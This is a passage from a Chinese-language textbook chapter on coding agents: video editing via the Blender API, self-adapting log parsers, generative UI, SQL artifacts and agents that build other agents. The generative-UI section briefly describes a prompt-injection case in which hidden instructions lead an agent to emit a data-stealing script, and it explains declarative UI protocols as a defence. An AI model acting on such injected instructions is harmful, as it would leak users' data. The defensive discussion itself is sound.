用通用 Computer Use 做视频编辑面临根本挑战：视频剪辑软件 GUI 极其复杂，包含大量时间轴、图层、效果面板，Agent 需要精确定位这些界面元素并通过鼠标键盘操作编辑，精确输出坐标非常困难。

把视频编辑重构为 API 调用和代码生成问题则大幅降低了复杂度。许多专业软件（如 Blender——开源的 3D 创作与视频合成工具，支持 Python 脚本控制；FFmpeg——音视频处理领域的命令行瑞士军刀）提供了程序化 API 接口，以结构化、可组合的方式暴露核心功能。例如 Blender Python API 允许通过代码精确控制视频片段的导入、裁剪、排列、过渡效果、音频混合等操作，每个操作对应一个清晰的函数调用。对 Agent 而言，将自然语言需求转化为 API 调用，远比理解 GUI 界面并模拟鼠标点击容易得多。与 PPT 生成类似，视频编辑同样采用提议者-审核者机制——Proposer Agent 生成 Blender 脚本，Reviewer Agent 渲染关键帧并用 Vision LLM 检查效果，反馈修改建议。

> **实验 5-6 ★★：基于 API 的智能视频剪辑**
>
> **实验目标**：验证 Agent 通过生成 Blender Python API 代码实现视频编辑的能力，评估基于视觉反馈的提议者-审核者机制在多媒体内容处理中的作用。
>
> **核心挑战**：理解用户的自然语言编辑需求并转化为精确的 API 调用序列，处理多种编辑操作（剪辑、合并、字幕、音轨混合、视觉效果），确保生成的 Python 脚本正确执行。Proposer Agent 编写代码后无法直接判断视频效果，必须通过 Reviewer Agent 渲染并利用 Vision LLM 检查关键帧。
>
> **技术方案**：用户提供视频素材（如包含冲浪、徒步、滑雪等场景的原始素材）并以自然语言描述需求（如 “把冲浪部分剪出来”）。Proposer Agent 通过视频分析子 Agent 采用**两步定位策略**：
>
> **第一步，粗粒度定位**：调用子 Agent 传入视频路径、每 10 秒截图间隔、目标问题。子 Agent 用 ffmpeg 截取关键帧，将所有截图连同问题输入 Vision LLM，返回场景区间（如 “冲浪在第 40-110 秒”）。
>
> **第二步，精细粒度定位**：以更窄范围、每秒截图密度再次调用子 Agent，精确定位边界时间点。
>
> 将视频分析封装为子 Agent 避免大量截图占用主 Agent 上下文。定位后生成 Blender API 脚本。Reviewer Agent 执行快速预览，检查关键帧并反馈修改建议，迭代直到达标再完整渲染。
>
> **验收标准**：Agent 能准确识别视频中不同场景，根据自然语言指令正确生成剪辑脚本。起始和结束点位置准确（误差不超过 3 秒）。如指令包含特效要求（慢动作、转场、字幕），生成的视频正确应用效果。Reviewer Agent 能检测明显错误（遗漏关键内容、包含无关片段）并触发修正。最终输出视频文件格式正确、画质符合预期。
>
### 代码作为系统适配器

前几节的代码大多产出“面向人”的东西——报告、幻灯片、界面。这一节的代码指向另一个方向：**连接机器与机器**。真实系统里，Agent 要打交道的外部服务常常没有现成 SDK，接口也未必规范——文档缺失、返回格式非标准、字段随版本漂移。面对这种情况，Agent 不必等人预先写好适配层，而是当场读接口文档、或直接观察一两条真实响应，即时生成适配代码：构造 HTTP 客户端、拼装鉴权头、解析非标准的返回结构、把上游的数据模型翻译成下游能消费的形状。代码在这里成了连接任意系统的“万能胶”——哪里接不上，就现场生成一段胶水补上，这正是元能力“系统接口”方向的核心。下面要展开的日志自适应解析，是这一能力在可观测性场景下的具体化：面对不断演化的日志格式，Agent 同样靠现场生成解析代码来适配。

这种“万能胶”还能延伸到**完全没有 API 的系统**：当外部系统只暴露图形界面时，Agent 可以先通过 Computer Use（第九章将详细介绍）操作界面，再把成功完成的操作序列用代码固化为 RPA 工具——未来执行相同任务时直接运行代码，以极高的速度和稳定性完成操作，无需再调用昂贵的视觉思考。可以说，RPA 是“系统适配器”在无接口系统上的极端形态；这种“工作流录制与固化”机制将在第八章展开。

数据处理是软件系统中最常见但也最令人头疼的任务之一。根源在于数据格式的多样性和不断变化。同一系统在演化过程中可能多次修改数据格式——添加新字段、改变嵌套结构、引入新类型。为每种格式手写解析代码，维护成本极高，每次格式修改都需要更新解析逻辑、测试兼容性、部署新版本。

代码生成提供了一种全新思路：让 Agent 在遇到新格式时基于样本数据临时生成解析代码，系统自动适应数据格式的演化，无需人工干预。

**Agent 日志解析和可视化。**

Agent 系统的可观测性依赖于对执行流程的可视化。一个复杂的 Agent 任务可能包含数百步操作，涉及多次 LLM 调用、数十个工具执行、多个子 Agent 交互。可视化这些数据面临多重挑战：不同工具返回不同结构的数据，格式随系统迭代不断演化；一个完整轨迹可能包含数十万字符，需要在概览和细节之间找到平衡。

代码生成提供了一种优雅的解决方案：建立一个自动修复的反馈循环。当前端遇到无法解析的日志格式时，不是显示错误，而是自动将失败信息（原始日志样本、详细报错）报告给 Agent。Agent 分析样本数据结构，生成能正确解析的前端代码。代码先在虚拟浏览器中自动测试（验证解析正确性，用 Vision LLM 检查可视化效果），通过后热更新到前端系统。

> **实验 5-7 ★★★：自适应的日志解析系统**
>
> **实验目标**：构建能自我进化的 Agent 日志可视化系统。
>
> **技术方案**：初始系统仅支持基本格式。前端检测解析失败→报告 Agent→生成解析代码→虚拟浏览器测试→热更新部署。全流程自动化。
>
> **验收标准**：自动检测失败并触发学习，生成代码通过自动测试，热更新后正确解析新格式。
>
**Agent 执行日志自动分析和问题诊断。**

生产环境的 Agent 会产生大量轨迹日志（trajectory，记录每次任务的完整过程）。然而从日志中识别问题、定位根因、构建测试用例是一项高成本的工作。问题定位困难，因为任务失败可能由多个模块的协同错误导致；重现成本高，因为生产环境的复杂性难以在测试环境中模拟；已修复的问题容易反复出现，因为缺乏系统化的回归测试。

代码生成为诊断提供了自动化路径。Agent 可以读取生产日志，结合架构文档和 PRD（产品需求文档）自动判断执行流程是否符合预期，定位出问题的环节和模块。基于分析结果生成结构化问题报告（优先级、模块、描述、改进建议）和回归测试用例——测试用例引用问题轨迹 ID 和关键交互轮次，测试框架自动重放来验证修复后的系统在相同输入下能否产生正确行为。最后 Agent 通过 MCP 对接 GitHub 创建 Issue 并分配给相关开发者，完成从问题发现到任务分派的全自动化。

> **实验 5-8 ★★★：生产日志的智能诊断系统**
>
> **实验目标**：从生产轨迹中自动发现问题、生成测试用例、创建工作项。
>
> **技术方案**：Agent 读取生产环境的轨迹集合，结合系统架构文档和 PRD 进行分析：识别问题模式，定位涉及的模块。生成结构化问题报告（优先级、模块、描述、改进建议）。自动生成回归测试用例（引用轨迹 ID 和交互轮次，由测试框架自动重放验证）。通过 MCP 对接 GitHub 自动创建 Issue。
>
>
> ![图5-7 生产日志智能诊断流水线](images/fig5-7.svg)
>
>
### 代码作为生成式 UI

传统 Agent 系统主要依赖纯文本对话与用户交互。然而文本作为线性、单一的交互方式，在很多场景下效率低下。需要收集结构化信息时，反复问答让对话变得冗长；需要呈现复杂数据关系时，纯文本的表达力有限；需要让用户在多个选项中选择时，文本列表远不如可视化界面直观。

代码生成为突破这些限制提供了可能：Agent 可以动态生成表单、交互式图表甚至完整的 Web 应用，将静态文本对话升级为丰富的多模态交互。这种由 Agent 动态生成界面的模式被称为**生成式 UI**（Generative UI）。

**A2UI 类协议：生成式 UI 的标准化。**

当 Agent 直接生成 HTML 和 JavaScript 代码作为 UI 时，存在一个根本性的安全问题：生成的代码可能包含恶意内容。例如，如果有人在输入中故意藏了一段指令，Agent 可能被提示注入操纵、不知不觉地生成一段会偷偷窃取用户数据的脚本。这里要厘清因果：成因是**提示注入**（恶意指令混进了 Agent 的输入），而最终在浏览器里执行恶意脚本、窃取数据的**效果**则类似传统 Web 的 XSS（Cross-Site Scripting，跨站脚本攻击）——不能把整个攻击直接叫作 XSS。以 A2UI（Agent-to-User Interface）为代表的声明式界面协议提供了一种更安全的方向：Agent 不直接生成可执行的代码，而是只输出一份“界面描述清单”（JSON 格式），比如“请显示一个包含 3 行 2 列的表格，标题是「销售数据」”。客户端收到这份清单后，用自己预先准备好的安全组件来渲染界面。这就像餐厅的菜单：顾客（Agent）只能点菜单上有的菜（预定义的组件），而不能走进厨房自己做（执行任意代码）。这里要厘清一个常见混淆：AG-UI（Agent-User Interaction，CopilotKit 提出）虽然名字相近，却并不是一种界面描述语言，而是配套的**事件/传输协议**，负责把 Agent 的执行状态（消息、工具调用、状态补丁）流式推送到前端，它本身甚至可以承载 A2UI 这样的界面载荷。因此二者互补而非同类，不应并列为同一种“声明式界面协议”。

这类协议的核心设计原则是**安全优先**：客户端维护一个受信任的组件目录（如 Card、Button、TextField、Table），Agent 只能请求渲染目录中已有的组件，无法注入任意代码。客户端用自己的原生组件渲染，而不是执行 Agent 生成的任意 HTML。这类协议通常还会支持**跨平台**（同一份描述在 React、Flutter、原生应用中渲染）和**增量生成**（流式 JSONL 格式，边接收边渲染）。

当然，声明式方法适用于标准化的交互场景（表单、表格、卡片），而对于高度定制化的需求（如自定义可视化、游戏界面），直接生成代码仍然是更灵活的选择。下面展示两种模式的具体应用。

**用 HTML 交付成果：取代 Markdown 汇报。** 生成式 UI 不只用在交互过程中，也正在改变 Agent 最终**交付成果**的形态。传统上，Agent 干完一项任务后往往产出一份 Markdown 汇报文档；但一页页翻读线性排布的 Markdown 其实并不好读。随着 Agent 生成前端代码的能力越来越强，越来越多的实践改为让它直接产出 HTML。相比 Markdown，HTML 交付件有几个明显的优势。其一是**交互式演示**：可以用可操作的形式直接演示系统是如何运行的，用户往往一看就懂，胜过大段文字描述。其二是**更好的数据可视化**：用图表而非表格来呈现数据，还能构建交互式组件，让用户自行浏览、筛选、下钻到自己关心的细节。其三是**可持续完善的交付件**：HTML 网站不必是任务结束时才一次性产出的死物，而可以在工作推进的过程中，由 Agent 不断补充和完善。

以笔者自己写论文的经历为例：每个研究项目笔者都会维护一个交互式网站[^ch5-3]，它既是最终的交付件，更是研究过程中的一份活文档——笔者会让 Agent 随着实验的推进持续更新它。这个网站至少承担三类作用。其一是**实验数据追溯**：每一次实验的具体数据、所用的 prompt 以及 LLM 的原始回复，都能在网站上逐条查看；把这些摊开来，反而更容易发现数据构造、数据格式、数据分布上的问题，也更容易看出 LLM 的回复和 judge 的打分是否存在系统性偏差。其二是**训练指标监控**：把训练过程中的各条曲线直接列在网页上，方便随时确认模型的**内科指标**是否健康。这里借用医学里“内科”的说法——内科指标指的是反映训练过程本身是否正常的内部信号，例如训练损失与验证损失、梯度范数、学习率、模型输出 token 时的困惑度（perplexity，衡量模型对自己生成内容的“把握”程度），以及强化学习中的奖励、KL 散度、策略熵等。它们不同于任务准确率那类最终的结果指标：正如体检时的各项生理指标之于一个人的外在表现，内科指标往往能更早地暴露出损失不收敛、梯度爆炸、训练崩溃等问题。其三是**运行原理展示**：用可视化的方式把整个系统的运行原理呈现出来，让人一眼就能看清这个由 AI 搭起来的系统到底是什么结构。

[^ch5-3]: 笔者的研究项目网站见 https://01.me/research/ ，其中每个项目都配有一个持续更新的交互式网站。

**澄清用户意图。**

当用户需求表达模糊或不完整时，Agent 需要通过澄清问题来收集必要信息。OpenAI Deep Research 等产品通常采用文本问答方式，但这存在明显局限：效率上，每个问题需要一轮对话，十个澄清点就需要十轮交互；表达力上，某些问题之间存在依赖关系（比如“选择旅行目的地”会影响“交通方式”的可选项），纯文本难以表达这种级联关系。

通过代码生成，Agent 可以创建结构化的交互界面来替代文本问答。图5-8 展示了动态表单生成流程，说明 Agent 如何把澄清问题转化为一次性填写的结构化界面。Agent 生成包含各种输入控件的 HTML 表单——文本框收集开放性信息、下拉菜单让用户在预定义选项中选择、复选框允许多选、日期选择器简化时间输入。更进一步，Agent 可以生成级联表单——通过 JavaScript 实现动态逻辑：选择某选项后自动显示或隐藏后续问题，动态更新可选项。用户一次填写完整个表单，无需多轮对话，还能清晰看到所有需填写的信息和问题之间的逻辑关系。

![图5-8 动态表单生成流程](images/fig5-8.svg)


> **实验 5-9 ★★：动态表单生成的意图澄清系统**
>
> **实验目标**：验证 Agent 通过动态生成 HTML 表单澄清用户意图的能力。
>
> **技术方案**：Agent 分析用户请求，识别澄清点，生成含级联逻辑的表单代码。前端渲染，用户一次提交，Agent 解析 JSON 数据继续任务。
>
> **验收标准**：用户输入 “我想订一张去北京的机票”，Agent 生成表单包含：出发城市（文本输入）、出发日期（日期选择器）、旅行类型（单选：单程/往返）、返程日期（仅选择 “往返” 时显示）。用户一次提交完成所有信息。
>
**生成 SQL 查询。**

数据库查询是代码生成能显著提升交互体验的场景。传统的数据库访问依赖 GUI 工具或手写 SQL，前者操作繁琐，后者要求用户具备专业知识。Agent 可以将自然语言转为 SQL，但这里有一个关键的设计选择：是让 Agent 执行 SQL 后用自然语言描述结果，还是让 Agent 生成 SQL 代码作为 artifact 由前端直接执行？

第一种方案看似更“智能”，但效率极低——查询结果可能包含数千行大表格，让 LLM 阅读后用文字描述不仅消耗大量 token、耗时长，更严重的是 LLM“抄写”数据时非常容易出错。更好的方案是 **artifact 模式**。图5-9 展示了 SQL 查询 Agent 的工作流程：Agent 不自己读数据，而是生成一段 SQL 查询代码，把这段代码作为一个独立的“制品”（artifact）交给系统。系统拿着这段 SQL 直接去数据库查询，把查到的数据渲染成用户能看到的表格。整个过程中，数据从数据库直达用户界面，完全绕过了 LLM 这个“中间人”——LLM 只负责写查询语句，不需要亲自去读成千上万行数据再复述给用户，既快速又准确。

![图5-9 SQL 查询 Agent 流程](images/fig5-9.svg)


更进一步，Agent 可以生成两个 artifact 形成流水线：SQL 查询 + 可视化代码（如柱状图）。前端将 SQL 结果直接传给可视化代码，LLM 只负责生成代码，不参与数据传递——这正是代码生成作为接口的精髓。

> **实验 5-10 ★★：自然语言交互的 ERP Agent**
>
> ERP（企业资源规划）软件是企业的关键系统，目前一般使用 GUI 界面，复杂操作需多次鼠标点击。AI Agent 可将用户自然语言查询转换成 SQL 语句，实现自动化查询。
>
> 要求建立 PostgreSQL 数据库，包含两个表：(1) 员工表，包含员工 ID、姓名、部门、级别、入职日期、离职日期（空表示在职）；(2) 工资表，包含员工 ID、发薪日期、工资（每月一条记录）。Agent 自动回答：
>
> 1. 平均每个员工在职多久？
> 2. 每个部门有多少在职员工？
> 3. 哪个部门员工平均级别最高？
> 4. 每个部门今年和去年各新入职多少人？
> 5. 前年 3 月到去年 5 月，A 部门的平均工资？
> 6. 去年 A 部门和 B 部门的平均工资哪个高？
> 7. 今年每个级别的员工平均工资？
> 8. 入职一年内、一到两年、两到三年的员工最近一个月平均工资？
> 9. 去年到今年涨薪幅度最大的 10 位员工？
> 10. 有没有拖欠工资（某月在职但未发薪）？
>
**动态生成软件。**

代码生成能力的终极应用是让 Agent 完全动态地、从零开始创建软件。Anthropic 的“Imagine with Claude”展示了这种可能性的边界：用户提出需求，Claude 实时生成前端界面和交互逻辑，用户与生成的软件交互，Claude 修改代码生成新界面展示操作结果。整个过程中用户看到一个从无到有、持续演化的应用程序。

不过，这种完全动态生成的模式成本和延迟较高，更适合作为展示能力边界的实验。一个更务实的方向是**基于已有框架进行定制化修改**。这种“半定制”模式保留基础软件的稳定性，同时在特定维度上开放用户控制权——用户说“把按钮改成蓝色”“在侧边栏添加快捷菜单”“修改字体为更易读的样式”，Agent 理解需求并修改前端代码，热加载（HMR，Hot Module Replacement，局部热替换、保留应用状态、无需整页刷新即可生效）即时生效。这将“一刀切”的标准产品转变为“千人千面”的个性化体验。

> **实验 5-11 ★★：对话式界面定制系统**
>
> **实验目标**：实现用户通过自然语言对话即时定制软件界面的能力，验证热加载机制支持的代码生成在提供个性化用户体验中的有效性。
>
> **技术方案**：构建基础 chatbot 应用（React 前端 + FastAPI 后端），前后端均运行在开发模式下支持热加载（React 的 HMR，FastAPI 的 reload）。用户在对话中提出 UI 定制需求（颜色、字体、布局、组件位置等），Agent 自主修改代码。热加载机制自动检测文件变化，前端重新编译刷新，用户实时看到界面变化。支持多轮迭代定制。
>
### 代码创造代码：Agent 自举

前面几节展示了代码生成在各个领域的应用——从数学思考到文档创作再到界面定制。如果我们把这些能力推向极限，会出现一个自然的问题：Agent 能不能用代码生成能力来创造另一个 Agent？

这里要先和第八章划清分工。本节讲的是 Agent 用代码**修复和创建与自己同类的 Agent**——自我修复、自我复制、按需繁殖出新 Agent，作用对象是 Agent 的代码与结构；第八章的“自我进化”则是另一件事，指 Agent 在**不改动模型权重**的前提下持续增长能力（沉淀经验、优化提示词、积累工具），作用对象是 Agent 的知识与策略。两者都可以叫“进化”，为避免与第八章章名混淆，本节用**自举**（bootstrapping）来称呼这种“用代码生产 Agent”的能力。


![图5-10 Agent 自举循环](images/fig5-10.svg)


**Agent 的自我修复：OpenClaw Doctor。**

Agent 自举的一个重要前提是自我修复能力。OpenClaw 的 `doctor` 命令正是这种能力的体现——它能自动检测三类问题：

- **配置异常**：过期的 OAuth token、遗留的配置格式、端口冲突
- **状态问题**：陈旧的会话锁文件、插件依赖缺失
- **服务健康问题**：网关未运行、沙盒镜像缺失

然后通过分层修复策略自动解决：安全的修复（配置归一化、锁文件清理）自动执行；有风险的操作（服务重启、强制覆盖配置）需要用户确认。

这里要避免一个夸大：过期 token、锁文件、端口冲突这类高频问题，本身就有明确的检测规则和固定的修复动作，`doctor` **以一组确定性检查为基础**先把它们覆盖掉——这与传统运维脚本并无本质不同。真正体现 Agent 能力的是第二层：对确定性规则未覆盖的疑难问题，`doctor` 再把它交给 LLM 分析错误日志、理解配置文件的语义、推断问题的因果关系，生成针对性的修复方案。确定性检查保证常见问题被稳定修复，LLM 兜底应对长尾疑难——两层配合，`doctor --fix` 才能自动解决相当一部分常见网关问题。这种“Agent 修复 Agent”的模式，当 Agent 的工作对象不再是外部系统、而是它自身的运行环境时，自我修复能力就从系统适配器升级为了 Agent 自举的基础设施。

**让 Agent 编写 Agent 的关键技巧。**

创造高质量 Agent 远比生成普通应用代码复杂，因为它需要对 Agent 架构模式、最佳实践和常见陷阱有深刻理解。如果缺乏这种领域专业知识，即使最强大的代码生成模型也可能创造出架构上有严重缺陷的 Agent。常见缺陷包括：

1. **上下文管理的随意性**：未采用第二章讨论的标准上下文格式，将轨迹转为纯文本塞进上下文，忽略结构化消息带来的 KV Cache 优化，工具调用循环存在边界 bug
2. **工具设计的不规范**：描述简略、缺少使用边界说明和负面清单、参数缺乏具体示例
3. **技术选型的滞后性**：倾向使用训练数据中最常见但已过时的模型和 API。解决方案：维护 SOTA 知识库或赋予 Agent 搜索能力
4. **外部生态的脱节**：使用废弃 API、不再维护的库或有缺陷的模式

解决这些问题的最有效路径，不是在提示词中穷尽所有规则，而是**提供高质量 Agent 实现作为参考范例**，引导代码生成 Agent 在此基础上修改，而非从零开始。

“基于范例的生成”优势明显：范例代码本身就是最佳实践的载体，Agent 在范例上改比从零写更容易做对，架构上的好选择会自然保留下来，而不需要在提示词里把每一条规则都说清楚。

Agent 接到开发新 Agent 的任务时，应首先复制自己的代码（或其他经过验证的高质量实现），然后针对性修改：调整系统提示词匹配新角色，替换或增删工具适应新功能，修改业务逻辑但保留架构框架。这种“自我复制并适应性修改”的模式，既保证新 Agent 继承核心技术优势，又允许在特定维度上差异化——就像生物学中的基因复制加变异。

> **实验 5-12 ★★★：开发一个能创造 Agent 的 Agent**
>
> **实验目标**：构建具备元编程（Metaprogramming，即编写能生成或修改其他程序的程序）能力的 Coding Agent，能根据用户需求自动创建新 Agent 系统，确保遵循最佳实践。
>
> **技术方案**：为 Coding Agent 提供高质量 Agent 实现作为参考范例（可使用 ch5/coding-agent 项目本身）。当接到创建新 Agent 的需求时，Agent 首先复制这个范例代码，然后基于用户的具体需求进行针对性修改。
>
> **验收标准**：生成的 Agent 能成功运行并完成基本任务。验证采用标准消息格式和工具调用协议，使用当前推荐的模型和 API。测试多轮对话中上下文和状态管理的正确性。对比从零生成和基于范例修改两种模式，验证后者在质量和效率上的优势。
>
>
> ![图5-11 能创造 Agent 的 Agent 流水线](images/fig5-11.svg)
>
>
Agent 自举体现了代码生成能力的终极应用——能创造 Agent 的 Agent 实现了智能的自我繁殖。以上，我们梳理了从 Coding Agent 基础到代码生成的多元价值、再到自举的完整主线。

## 本章小结

本章讨论的核心始终是同一件事：代码不只是写程序的工具，它是 Agent 形式化思考和精确表达的语言。

Harness 工程那一节的核心结论是：Coding Agent 之所以成熟度高，不是因为代码生成模型特别强，而是因为软件工程几十年攒下的基础设施——测试套件、类型系统、版本控制——天然构成了一套强大的 Harness。这个结论值得推广到其他 Agent 场景。

第二部分展示了代码生成在编程之外的广泛价值，对应正文的六个维度：

- **思考工具**：借助符号计算和约束求解弥补概率思考的不足
- **业务规则约束**：以无歧义方式表达业务规则，在不可逆操作场景中提供确定性安全防线——这种安全保障的价值远超实现成本
- **多媒体生成**：通过提议者-审核者机制创建 PPT、视频等多模态内容
- **系统适配器**：自动跟随格式演化实现日志解析和问题诊断的完全自动化
- **生成式 UI**：动态创建表单、可视化图表甚至完整可定制应用，突破纯文本限制
- **Agent 自举**：用代码修复和创造同类 Agent，实现能创造 Agent 的 Agent

代码对 Agent 的价值在于：它既是完成任务的手段，也是积累知识、创造工具、优化自身的机制——一种真正的“元能力”。

至此，我们完成了三大支柱中上下文与工具两大支柱的讨论——而代码生成正是其中通用性最强的工具。但一个关键问题尚未回答：如何科学地衡量这些设计决策的效果？从下一章开始，我们进入第三个支柱——模型，首先从评估讲起。下一章将构建完整的评估方法论——从评估环境搭建、数据集设计到奖励模型和评估驱动的模型选型，为前面所有章节讨论的技术方案提供量化验证的手段。

## 思考题

1. ★★ 代码生成被称为 Agent 的“元能力”。但代码执行引入了安全风险——Agent 生成的代码可能包含漏洞、无限循环或资源耗尽。沙盒隔离能解决部分问题，但也限制了代码能力（比如无法访问网络或文件系统）。如何在安全性和能力之间找到最优平衡点？
2. ★★★ Agent 自举——能创造 Agent 的 Agent——实现了“智能的自我繁殖”。但每次自举都可能引入新的偏差或错误，这种错误会在代际间累积吗？如何防止 Agent 自举的退化？
3. ★★ 代码生成 Agent 在处理日志解析时，能自动跟随格式演化。但如果格式变化是一个 bug 而非预期改动，Agent 的适应性反而掩盖了问题。Agent 应该如何区分“需要适应的变化”和“需要报告的异常”？
4. ★★ 本章在 PPT 生成、视频编辑和日志可视化中反复使用提议者-审核者机制。如果 Reviewer 的审美偏好与目标用户不一致，比如 Reviewer 认为信息密度合理但用户觉得太拥挤，反馈循环会收敛到错误的局部最优。如何让用户的偏好反馈也参与 Reviewer 循环？
5. ★★ 本章展示了 Coding Agent 把执行和调试中获得的经验沉淀回代码库的多种方式——写入知识库文件、更新架构文档、维护项目指令文件、把操作序列固化为代码。如果把这些经验进一步提炼为系统提示词中的规则，规则集会随时间不断膨胀。如何对沉淀下来的规则做“垃圾回收”——识别并清理冗余或过时的条目？这种由 Agent 自己沉淀经验的机制，与第八章将讨论的系统提示词自动优化有何异同？
6. ★ “对远程工作友好的团队往往也对 AI Agent 友好。”你所在的团队或组织，在知识文档化方面距离“AI-ready”还有多远？最大的障碍是什么？
7. ★★★ Simon Willison 提出了 Agent 的“致命三要素”（访问私有数据、暴露于不受信任内容、具备外部通信能力），本章在此基础上增加了第四个——持久记忆。在一个需要同时处理这四种要素的生产环境中，你会如何设计安全策略？
8. ★★ Artifact 模式让 Agent 生成的 SQL 或前端代码直接在用户浏览器或数据库中执行。但生成的 SQL 可能执行破坏性操作，生成的 HTML 可能包含漏洞。如何确保系统的安全性？
9. ★★ 将业务规则编码为工具内部基于数据库真值的校验，并用参数设计引导模型在调用前核对政策条件，本质上是用代码结构来约束 Agent 行为。这种“代码即规则”的模式相比自然语言规则有什么优势和局限？
10. ★★ Artifact 模式让 Agent 生成 SQL 或可视化代码，由前端直接执行，绕过 LLM 处理大量数据。这种“Agent 生成代码，系统执行代码”的分工模式，与传统的“Agent 直接给出答案”的模式相比，有什么优劣？
